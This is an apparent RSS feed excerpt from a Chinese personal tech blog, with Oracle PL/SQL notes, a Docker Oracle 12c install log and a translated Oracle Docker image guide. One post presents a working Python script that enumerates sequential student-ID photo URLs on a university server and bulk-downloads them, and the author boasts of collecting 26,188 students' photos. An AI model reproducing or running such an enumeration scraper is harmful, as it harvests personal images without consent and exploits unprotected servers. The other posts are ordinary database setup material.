<p class="MsoNormal">
	<span>delete from emp where deptno = :old.deptno;</span>
</p>
<p class="MsoNormal">
	<span>after logon on schema&nbsp;&nbsp; </span>用户登录<span></span>
</p>
<p class="MsoNormal">
	<span>after logon on database | insert into
scott.user_log1 values (user,sysdate,'</span>用户登录<span>!');</span>
</p>
<p class="MsoNormal">
	<span>before logoff on database | insert into
scott.user_log1 values (user,sysdate,'</span>用户离线<span>!');</span>
</p>
<p class="MsoNormal">
	函数<span></span>
</p>
<p class="MsoNormal">
	<span>CREATE OR REPLACE FUNCTION f_sum_sal(deptid
IN emp.deptno%TYPE) RETURN NUMBER AS v_sumsal number; BEGIN SELECT
SUM(sal)+SUM(nvl(comm,0)) INTO v_sumsal FROM emp WHERE deptno=deptid; --DBMS_OUTPUT.PUT_LINE(deptid||'</span>的工资和为<span>'||v_sumsal); RETURN V_sumsal; EXCEPTION WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('</span>你需要的数据不存在<span>!'); WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('</span>发生其它错误<span>!'); END; /&nbsp;&nbsp;&nbsp;&nbsp; </span>下面是调用<span></span>
</p>
<p class="MsoNormal">
	<span>DECLARE &nbsp;v_sum_sal number; BEGIN V_sum_sal:=f_sum_sal(20);
DBMS_OUTPUT.PUT_LINE('</span>总工资是<span>'||v_sum_sal); END; /</span>
</p>]]></description>
	<pubDate>Mon, 03 Jun 2019 12:53:04 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=49</guid>

</item>
<item>
	<title>爬某大学所有学生照片</title>
	<link>https://www.zuoer.xin/?post=48</link>
	<description><![CDATA[<p>
	<br />
</p>
<pre class="prettyprint lang-py linenums">#-*- encoding:utf-8 -*-

import requests
from urllib import request

a = "0"

for xueyuan in range(1,30):
    if xueyuan &lt; 10 :
        xueyuan = '0{}'.format(xueyuan)
    for zhuanye in range(1, 5):
        if zhuanye &lt; 10:
            zhuanye = '0{}'.format(zhuanye)
        for banji in range(1, 15):
             if banji&lt; 10:
                 banji = '0{}'.format(banji)
             for xuehao in range(1, 40):
                 if xuehao &lt; 10:
                     xuehao = '0{}'.format(xuehao)
                 url = "http://xxxxxxxx/16"+str(xueyuan)+str(zhuanye)+str(banji)+str(xuehao)+".jpg"
                 print("16"+str(xueyuan)+str(zhuanye)+str(banji)+str(xuehao))
                 path="/Users/xxxxx/Desktop/zhaopian/16"+str(xueyuan)+str(zhuanye)+str(banji)+str(xuehao)+".jpg"
                 html = requests.head(url)
                 re = html.status_code
                 if re == 200:
                     print(url + "\n")
                     request.urlretrieve(url, filename=path)
                 else:
                     break</pre>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	----
</p>
<p>
	一共26188张照片
</p>
<p>
	<br />
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/585c1559917541.png" id="ematt:87"><img src="https://www.zuoer.xin/content/uploadfile/201906/thum-585c1559917541.png" title="点击查看原图" alt="WX20190607-222511@2x.png" border="0" width="420" height="245" /></a> 
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/23f61559562654.png" id="ematt:83"><img src="https://www.zuoer.xin/content/uploadfile/201906/thum-23f61559562654.png" title="点击查看原图" alt="QQ20190603-194114@2x.png" border="0" width="420" height="185" /></a> 
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>]]></description>
	<pubDate>Mon, 03 Jun 2019 11:41:38 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=48</guid>

</item>
<item>
	<title>docker orcale 安装过程</title>
	<link>https://www.zuoer.xin/?post=47</link>
	<description><![CDATA[<p>
	<span style="font-size:24px;"><b>0.没有docker怎么办</b></span>
</p>
<p>
	<span style="font-size:24px;"><b><a href="https://www.runoob.com/docker/windows-docker-install.html">https://www.runoob.com/docker/windows-docker-install.html</a><br />
</b></span>
</p>
<p>
	<span style="font-size:24px;"><b>1.下载</b></span> 
</p>
<p>
	搜索<span style="color:#27343B;font-family:&quot;font-size:28px;font-weight:600;white-space:normal;background-color:#FFFFFF;">oracle-12</span>
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/ab771559371165.png" id="ematt:71"><img src="https://www.zuoer.xin/content/uploadfile/201906/thum-ab771559371165.png" title="点击查看原图" alt="QQ20190601-143738@2x.png" border="0" width="420" height="174" /></a>
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/6e921559371174.png" id="ematt:73"><img src="https://www.zuoer.xin/content/uploadfile/201906/thum-6e921559371174.png" title="点击查看原图" alt="QQ20190601-143801@2x.png" border="0" width="420" height="222" /></a>
</p>
<p>
	下面就是命令后的操作：(你操作还是我操作啊，我来操作吧）
</p>
<p>
	(base) xxzdeMacBook-Pro:~ xxz$ docker pull absolutapps/oracle-12c-ee
</p>
<p>
	Using default tag: latest
</p>
<p>
	latest: Pulling from absolutapps/oracle-12c-ee
</p>
<p>
	a3ed95caeb02: Pull complete&nbsp;
</p>
<p>
	3f5d218d03fc: Pull complete&nbsp;
</p>
<p>
	7599fba7a3e8: Pull complete&nbsp;
</p>
<p>
	fe1149d58656: Pull complete&nbsp;
</p>
<p>
	d40655be04ce: Pull complete&nbsp;
</p>
<p>
	03835bd35ad5: Pull complete&nbsp;
</p>
<p>
	3924faff9c04: Pull complete&nbsp;
</p>
<p>
	a28a2f0d73a5: Pull complete&nbsp;
</p>
<p>
	Digest: sha256:390a2166d94ea535ba1f82e293406cd91d0b34f1ecd84addf520d42c58f9bc06
</p>
<p>
	Status: Downloaded newer image for absolutapps/oracle-12c-ee:latest
</p>
<p>
	(base) xxzdeMacBook-Pro:~ xxz$
</p>
<p>
	docker run -d -p 1521:1521 -p 9090:9090 --name oracle-12cR1-ee --privileged absolutapps/oracle-12c-ee
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	6608e0a73fbf1a28428f27733f61e0c36d1be34bd7779655bc97f405e0659a73
</p>
<p>
	(base) xxzdeMacBook-Pro:~ xxz$ docker logs -f oracle-12cR1-ee
</p>
<p>
	ls: cannot access /u01/app/oracle/oradata/orcl: No such file or directory
</p>
<p>
	No databases found in /u01/app/oracle/oradata/orcl. About to create a new database instance
</p>
<p>
	Starting database listener
</p>
<p>
	<br />
</p>
<p>
	LSNRCTL for Linux: Version 12.1.0.2.0 - Production on 01-JUN-2019 04:50:55
</p>
<p>
	<br />
</p>
<p>
	Copyright (c) 1991, 2014, Oracle.&nbsp; All rights reserved.
</p>
<p>
	<br />
</p>
<p>
	Starting /u01/app/oracle/product/12.1.0.2/dbhome_1/bin/tnslsnr: please wait...
</p>
<p>
	<br />
</p>
<p>
	TNSLSNR for Linux: Version 12.1.0.2.0 - Production
</p>
<p>
	System parameter file is /u01/app/oracle/product/12.1.0.2/dbhome_1/network/admin/listener.ora
</p>
<p>
	Log messages written to /u01/app/oracle/diag/tnslsnr/6608e0a73fbf/listener/alert/log.xml
</p>
<p>
	Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=6608e0a73fbf)(PORT=1521)))
</p>
<p>
	<br />
</p>
<p>
	Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=6608e0a73fbf)(PORT=1521)))
</p>
<p>
	STATUS of the LISTENER
</p>
<p>
	------------------------
</p>
<p>
	Alias &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LISTENER
</p>
<p>
	Version &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TNSLSNR for Linux: Version 12.1.0.2.0 - Production
</p>
<p>
	Start Date&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 01-JUN-2019 04:50:55
</p>
<p>
	Uptime&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0 days 0 hr. 0 min. 0 sec
</p>
<p>
	Trace Level &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; off
</p>
<p>
	Security&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ON: Local OS Authentication
</p>
<p>
	SNMP&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OFF
</p>
<p>
	Listener Parameter File &nbsp; /u01/app/oracle/product/12.1.0.2/dbhome_1/network/admin/listener.ora
</p>
<p>
	Listener Log File &nbsp; &nbsp; &nbsp; &nbsp; /u01/app/oracle/diag/tnslsnr/6608e0a73fbf/listener/alert/log.xml
</p>
<p>
	Listening Endpoints Summary...
</p>
<p>
	&nbsp; (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=6608e0a73fbf)(PORT=1521)))
</p>
<p>
	The listener supports no services
</p>
<p>
	The command completed successfully
</p>
<p>
	Copying database files
</p>
<p>
	1% complete
</p>
<p>
	3% complete
</p>
<p>
	11% complete
</p>
<p>
	18% complete
</p>
<p>
	26% complete
</p>
<p>
	37% complete
</p>
<p>
	Creating and starting Oracle instance
</p>
<p>
	40% complete
</p>
<p>
	45% complete
</p>
<p>
	50% complete
</p>
<p>
	55% complete
</p>
<p>
	56% complete
</p>
<p>
	60% complete
</p>
<p>
	62% complete
</p>
<p>
	Completing Database Creation
</p>
<p>
	66% complete
</p>
<p>
	70% complete
</p>
<p>
	73% complete
</p>
<p>
	85% complete
</p>
<p>
	96% complete
</p>
<p>
	100% complete
</p>
<p>
	Look at the log file "/u01/app/oracle/cfgtoollogs/dbca/orcl/orcl.log" for further details.
</p>
<p>
	<br />
</p>
<p>
	LSNRCTL for Linux: Version 12.1.0.2.0 - Production on 01-JUN-2019 04:57:20
</p>
<p>
	<br />
</p>
<p>
	Copyright (c) 1991, 2014, Oracle.&nbsp; All rights reserved.
</p>
<p>
	<br />
</p>
<p>
	Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=6608e0a73fbf)(PORT=1521)))
</p>
<p>
	The command completed successfully
</p>
<p>
	Database has been created in /u01/app/oracle/oradata/orcl
</p>
<p>
	SYS and SYSTEM passwords are set to [oracle]
</p>
<p>
	Setting HTTP port to 8080
</p>
<p>
	<br />
</p>
<p>
	PL/SQL procedure successfully completed.
</p>
<p>
	<br />
</p>
<p>
	Please login to http://&lt;ip_address&gt;:8080/em to use enterprise manager
</p>
<p>
	User: sys; Password oracle; Sysdba: true
</p>
<p>
	Fixing permissions...
</p>
<p>
	Running init scripts...
</p>
<p>
	Init scripts in /oracle.init.d/: Ignoring /oracle.init.d/*
</p>
<p>
	<br />
</p>
<p>
	Done with scripts we are ready to go
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	<span style="font-size:24px;"><strong><strong></strong>2.运行</strong></span><span style="font-size:14px;"></span> 
</p>
<p>
	<span style="font-size:14px;"><br />
</span> 
</p>
<p>
	<span style="font-size:14px;"> </span> 
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker start oracle-12cR1-ee
</p>
<p>
	oracle-12cR1-ee
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker exec -it oracle-12cR1-ee /bin/bash
</p>
<p>
	[root@6608e0a73fbf /]#&nbsp; echo $ORACLE_SID
</p>
<p>
	orcl
</p>
<p>
	[root@6608e0a73fbf /]# sqlplus system/oracle@//localhost:1521/orcl
</p>
<p>
	<br />
</p>
<p>
	SQL*Plus: Release 12.1.0.2.0 Production on Sat Jun 1 05:07:38 2019
</p>
<p>
	<br />
</p>
<p>
	Copyright (c) 1982, 2014, Oracle.&nbsp; All rights reserved.
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	Connected to:
</p>
<p>
	Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
</p>
<p>
	With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
</p>
<p>
	<br />
</p>
<p>
	SQL&gt;&nbsp; desc v$instance
</p>
<p>
	&nbsp;Name					 &nbsp; Null?&nbsp; &nbsp; Type
</p>
<p>
	&nbsp;----------------------------------------- -------- ----------------------------
</p>
<p>
	&nbsp;INSTANCE_NUMBER				&nbsp; &nbsp; NUMBER
</p>
<p>
	&nbsp;INSTANCE_NAME					&nbsp; &nbsp; VARCHAR2(16)
</p>
<p>
	&nbsp;HOST_NAME					&nbsp; &nbsp; VARCHAR2(64)
</p>
<p>
	&nbsp;VERSION					&nbsp; &nbsp; VARCHAR2(17)
</p>
<p>
	&nbsp;STARTUP_TIME					&nbsp; &nbsp; DATE
</p>
<p>
	&nbsp;STATUS 					&nbsp; &nbsp; VARCHAR2(12)
</p>
<p>
	&nbsp;PARALLEL					&nbsp; &nbsp; VARCHAR2(3)
</p>
<p>
	&nbsp;THREAD#					&nbsp; &nbsp; NUMBER
</p>
<p>
	&nbsp;ARCHIVER					&nbsp; &nbsp; VARCHAR2(7)
</p>
<p>
	&nbsp;LOG_SWITCH_WAIT				&nbsp; &nbsp; VARCHAR2(15)
</p>
<p>
	&nbsp;LOGINS 					&nbsp; &nbsp; VARCHAR2(10)
</p>
<p>
	&nbsp;SHUTDOWN_PENDING				&nbsp; &nbsp; VARCHAR2(3)
</p>
<p>
	&nbsp;DATABASE_STATUS				&nbsp; &nbsp; VARCHAR2(17)
</p>
<p>
	&nbsp;INSTANCE_ROLE					&nbsp; &nbsp; VARCHAR2(18)
</p>
<p>
	&nbsp;ACTIVE_STATE					&nbsp; &nbsp; VARCHAR2(9)
</p>
<p>
	&nbsp;BLOCKED					&nbsp; &nbsp; VARCHAR2(3)
</p>
<p>
	&nbsp;CON_ID 					&nbsp; &nbsp; NUMBER
</p>
<p>
	&nbsp;INSTANCE_MODE					&nbsp; &nbsp; VARCHAR2(11)
</p>
<p>
	&nbsp;EDITION					&nbsp; &nbsp; VARCHAR2(7)
</p>
<p>
	&nbsp;FAMILY 					&nbsp; &nbsp; VARCHAR2(80)
</p>
<p>
	<br />
</p>
<p>
	SQL&gt; select INSTANCE_NAME,HOST_NAME from v$instance;
</p>
<p>
	<br />
</p>
<p>
	INSTANCE_NAME
</p>
<p>
	----------------
</p>
<p>
	HOST_NAME
</p>
<p>
	----------------------------------------------------------------
</p>
<p>
	orcl
</p>
<p>
	6608e0a73fbf
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	SQL&gt; select tablespace_name, file_name from dba_data_files;
</p>
<p>
	<br />
</p>
<p>
	TABLESPACE_NAME
</p>
<p>
	------------------------------
</p>
<p>
	FILE_NAME
</p>
<p>
	--------------------------------------------------------------------------------
</p>
<p>
	USERS
</p>
<p>
	/u01/app/oracle/oradata/orcl/users01.dbf
</p>
<p>
	<br />
</p>
<p>
	UNDOTBS1
</p>
<p>
	/u01/app/oracle/oradata/orcl/undotbs01.dbf
</p>
<p>
	<br />
</p>
<p>
	SYSTEM
</p>
<p>
	/u01/app/oracle/oradata/orcl/system01.dbf
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	TABLESPACE_NAME
</p>
<p>
	------------------------------
</p>
<p>
	FILE_NAME
</p>
<p>
	--------------------------------------------------------------------------------
</p>
<p>
	SYSAUX
</p>
<p>
	/u01/app/oracle/oradata/orcl/sysaux01.dbf
</p>
<p>
	<br />
</p>
<p>
	<br />
</p>
<p>
	SQL&gt; exit
</p>
<p>
	Disconnected from Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production
</p>
<p>
	With the Partitioning, OLAP, Advanced Analytics and Real Application Testing options
</p>
<p>
	[root@6608e0a73fbf /]# exit
</p>
<p>
	exit
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker container ls
</p>
<p>
	CONTAINER ID&nbsp; &nbsp; &nbsp; &nbsp; IMAGE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COMMAND &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STATUS&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PORTS&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NAMES
</p>
<p>
	6608e0a73fbf&nbsp; &nbsp; &nbsp; &nbsp; absolutapps/oracle-12c-ee &nbsp; "/entrypoint.sh"&nbsp; &nbsp; 19 minutes ago&nbsp; &nbsp; &nbsp; Up 19 minutes &nbsp; &nbsp; &nbsp; 1521/tcp, 5500/tcp, 8080/tcp &nbsp; oracle-12cR1-ee
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker stop oracle-12cR1-ee
</p>
<p>
	oracle-12cR1-ee
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker container ls
</p>
<p>
	CONTAINER ID&nbsp; &nbsp; &nbsp; &nbsp; IMAGE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COMMAND &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STATUS&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PORTS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NAMES
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker image ls
</p>
<p>
	REPOSITORY&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IMAGE ID&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE
</p>
<p>
	oraclelinux &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; latest&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 200d4182a980&nbsp; &nbsp; &nbsp; &nbsp; 7 weeks ago &nbsp; &nbsp; &nbsp; &nbsp; 235MB
</p>
<p>
	absolutapps/oracle-12c-ee &nbsp; latest&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ad9bdfc002e7&nbsp; &nbsp; &nbsp; &nbsp; 3 years ago &nbsp; &nbsp; &nbsp; &nbsp; 6.12GB
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker image rm oraclelinux
</p>
<p>
	Untagged: oraclelinux:latest
</p>
<p>
	Untagged: oraclelinux@sha256:15626e4e41d02c514b03740a35c09f68e3f55e9d44fbbbbebe4431bc0c017d48
</p>
<p>
	Deleted: sha256:200d4182a980204b33368b16d7c011e1d11a4ef462d000b40249536f8ef32b93
</p>
<p>
	Deleted: sha256:24acd7ddc1860721e4391900d80b2277ba3ff34bc1403aa909a4d7e34acf00fc
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker image ls
</p>
<p>
	REPOSITORY&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TAG &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; IMAGE ID&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE
</p>
<p>
	absolutapps/oracle-12c-ee &nbsp; latest&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ad9bdfc002e7&nbsp; &nbsp; &nbsp; &nbsp; 3 years ago &nbsp; &nbsp; &nbsp; &nbsp; 6.12GB
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$&nbsp; docker ps
</p>
<p>
	CONTAINER ID&nbsp; &nbsp; &nbsp; &nbsp; IMAGE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COMMAND &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STATUS&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PORTS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NAMES
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$ docker start oracle-12cR1-ee
</p>
<p>
	oracle-12cR1-ee
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$&nbsp; docker ps
</p>
<p>
	CONTAINER ID&nbsp; &nbsp; &nbsp; &nbsp; IMAGE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; COMMAND &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CREATED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; STATUS&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PORTS&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NAMES
</p>
<p>
	6608e0a73fbf&nbsp; &nbsp; &nbsp; &nbsp; absolutapps/oracle-12c-ee &nbsp; "/entrypoint.sh"&nbsp; &nbsp; 20 minutes ago&nbsp; &nbsp; &nbsp; Up 8 seconds&nbsp; &nbsp; &nbsp; &nbsp; 1521/tcp, 5500/tcp, 8080/tcp &nbsp; oracle-12cR1-ee
</p>
<p>
	(base) xxzdeMacBook-Pro:/ xxz$&nbsp;
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/cf1b1559371287.png" id="ematt:75"><img src="https://www.zuoer.xin/content/uploadfile/201906/thum-cf1b1559371287.png" title="点击查看原图" alt="60D6C547-E437-414A-BB61-2AD532138754.png" border="0" width="420" height="247" /></a>
</p>
<p>
	<br />
</p>
<p>
	<a target="_blank" href="https://www.zuoer.xin/content/uploadfile/201906/729a1559371295.png" id="ematt:77"><img src="https://www.zuoer.xin/content/uploadfile/201906/thum-729a1559371295.png" title="点击查看原图" alt="094BE060-1AAE-463A-9853-861857060564.png" border="0" width="420" height="236" /></a>
</p>
<p>
	<br />
</p>
<br />
<p>
	<br />
</p>]]></description>
	<pubDate>Sat, 01 Jun 2019 05:11:17 +0000</pubDate>
	<author>zuoer</author>
	<guid>https://www.zuoer.xin/?post=47</guid>

</item>
<item>
	<title>Oracle数据库服务器Docker镜像文档</title>
	<link>https://www.zuoer.xin/?post=46</link>
	<description><![CDATA[<p>
	<p>
		<strong><span style="font-size:16px;">Oracle数据库服务器Docker镜像文档</span></strong>
	</p>
	<p>
		<p style="margin-left:0cm;text-align:start;">
			Oracle
Database Server 12c R2是业界领先的关系数据库服务器。Oracle数据库服务器Docker映像包含在Oracle Linux
7上运行的Oracle数据库服务器12.2.0.1企业版。此映像包含具有一个pdb的多租户配置中的默认数据库。
		</p>
		<p style="margin-left:0cm;text-align:start;">
			有关Oracle
Database Server 12c R2的更多信息，请参阅<a href="http://docs.oracle.com/en/database/">http://docs.oracle.com/en/database/</a>
		</p>
		<h2 style="text-align:start;">
			使用此图片
		</h2>
		<h3 style="text-align:start;">
			接受服务条款
		</h3>
		<p style="margin-left:0cm;text-align:start;">
			从store.docker.com网站接受Terms of ServiceOracle数据库企业版。
		</p>
		<h3 style="text-align:start;">
			登录Docker
Store
		</h3>
		<p style="margin-left:0cm;text-align:start;">
			使用您的凭据登录Docker Store
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker login
		</p>
		<h3 style="text-align:start;">
			启动Oracle数据库服务器实例
		</h3>
		<p style="margin-left:0cm;text-align:start;">
			启动Oracle数据库服务器实例就像执行一样简单
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker run
-d -it --name &lt;oracle-db&gt; store/oracle/database-enterprise:12.2.0.1
		</p>
		<p style="margin-left:0cm;text-align:start;">
			其中&lt;oracle-db&gt;是容器的名称，12.2.0.1是Docker图像标记。
		</p>
		<p style="margin-left:0cm;text-align:start;">
			当STATUS字段显示(healthy)在输出中时，数据库服务器就可以使用了docker ps。
		</p>
		<h3 style="text-align:start;">
			连接到数据库服务器容器
		</h3>
		<p style="margin-left:0cm;text-align:start;">
			用户连接数据库的默认密码sys是Oradoc_db1。
		</p>
		<h4 style="text-align:start;">
			从容器内连接
		</h4>
		<p style="margin-left:0cm;text-align:start;">
			可以通过执行SQL * Plus连接数据库服务器，
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker exec
-it &lt;oracle-db&gt; bash -c "source /home/oracle/.bashrc; sqlplus
/nolog"
		</p>
		<h4 style="text-align:start;">
			从容器外部连接
		</h4>
		<p style="margin-left:0cm;text-align:start;">
			数据库服务器通过SQL&nbsp;<em>Net</em><em>协议</em>公开端口1521以进行Oracle客户端连接，<em>为</em><em>Oracle XML DB</em>公开端口<em>5500</em><em>。</em>可以使用<em>SQL</em>&nbsp;Plus或任何JDBC客户端从容器外部连接到数据库服务器。
		</p>
		<p style="margin-left:0cm;text-align:start;">
			要从容器外部连接，请启动容器-P或-p选项，
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker run
-d -it --name &lt;oracle-db&gt; -P store/oracle/database-enterprise:12.2.0.1
		</p>
		<p style="margin-left:0cm;text-align:start;">
			选项-P表示端口由Docker分配。可以通过执行来发现映射的端口
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker port
&lt;oracle-db&gt;&nbsp;1521/tcp -&gt; 0.0.0.0:&lt;mapped&gt;
		</p>
		<p style="margin-left:0cm;text-align:start;">
			使用此命令&lt;mapped&gt;并在环境变量指向的目录中&lt;ip-address&gt;创建。tnsnames.oraTNS_ADMIN
		</p>
		<p style="margin-left:0cm;text-align:start;">
			<p>
				ORCLCDB=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=&lt;ip-address&gt;)(PORT=&lt;mapped&gt;)) (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=ORCLCDB.localdomain))) ORCLPDB1=(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=&lt;ip-address&gt; of host)(PORT=&lt;mapped&gt;)) (CONNECT_DATA=(SERVER=DEDICATED)(SERVICE_NAME=ORCLPDB1.localdomain)))
			</p>
			<p>
				<br />
			</p>
		</p>
		<p style="margin-left:0cm;text-align:start;">
			<p>
				要使用SQL * Plus从容器外部进行连接，
			</p>
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ sqlplus
sys/Oradoc_db1@ORCLCDB as sysdba
		</p>
		<h3 style="text-align:start;">
			自定义配置
		</h3>
		<p style="margin-left:0cm;text-align:start;">
			Oracle数据库服务器容器还提供用于启动容器的自定义配置参数。所有自定义配置参数都是可选的。可以在ENV文件（ora.conf）中提供以下自定义配置参数列表。
		</p>
		<h4 style="text-align:start;">
			DB_SID
		</h4>
		<p style="margin-left:0cm;text-align:start;">
			此参数更改ORACLE_SID数据库的内容。默认值设置为&nbsp;ORCLCDB。
		</p>
		<h4 style="text-align:start;">
			DB_PDB
		</h4>
		<p style="margin-left:0cm;text-align:start;">
			此参数修改PDB的名称。默认值设置为ORCLPDB1。
		</p>
		<h4 style="text-align:start;">
			DB_MEMORY
		</h4>
		<p style="margin-left:0cm;text-align:start;">
			此参数设置Oracle服务器的内存要求。此值确定要为SGA和PGA分配的内存量。默认值设置为2GB。
		</p>
		<h4 style="text-align:start;">
			DB_DOMAIN
		</h4>
		<p style="margin-left:0cm;text-align:start;">
			此参数设置要用于数据库服务器的域。默认值为&nbsp;localdomain。
		</p>
		<p style="margin-left:0cm;text-align:start;">
			使用自定义配置参数启动Oracle数据库服务器
		</p>
		<p style="margin-left:0cm;text-align:start;">
			$ docker run
-d -it --name &lt;oracle-db&gt; -P --env-file ora.conf
store/oracle/database-enterprise:12.2.0.1
		</p>
		<p style="margin-left:0cm;text-align:start;">
			确保tnsnames.ora中的自定义值DB_SID，DB_PDB并DB_DOMAIN在tnsnames.ora中进行更新。
		</p>
		<h2 style="text-align:start;">
			注意事项
		</h2>
		<p style="margin-left:0cm;text-align:start;">
			此Docker镜像具有以下限制。
		</p>
		<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-18.0pt;">
			1.&nbsp;&nbsp;&nbsp;&nbsp;
支持单实例数据库。
		</p>
		<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-18.0pt;">
			2.&nbsp;&nbsp;&nbsp;&nbsp;
不支持Dataguard。
		</p>
		<p class="MsoNormal" align="left" style="margin-left:36.0pt;text-align:left;text-indent:-18.0pt;">
			3.&nbsp;&nbsp;&nbsp;&nbsp;
不支持数据库选项和修补程序。
		</p>
		<h2 style="text-align:start;">
			更改SYS用户的默认密码
		</h2>
		<p style="margin-left:0cm;text-align:start;">
			Oracle数据库服务器使用默认密码启动Oradoc_db1。容器创建期间使用的密码不安全，应该更改。要更改密码，请使用SQL * Plus连接到数据库并执行
		</p>
		<p style="margin-left:0cm;text-align:start;">
			alter user sys
identified by &lt;new-password&gt;;
		</p>
		<h2 style="text-align:start;">
			资源要求
		</h2>
		<p style="margin-left:0cm;text-align:start;">
			容器的最低要求是8GB的磁盘空间和2GB的内存。
		</p>
		<h2 style="text-align:start;">
			数据库日志
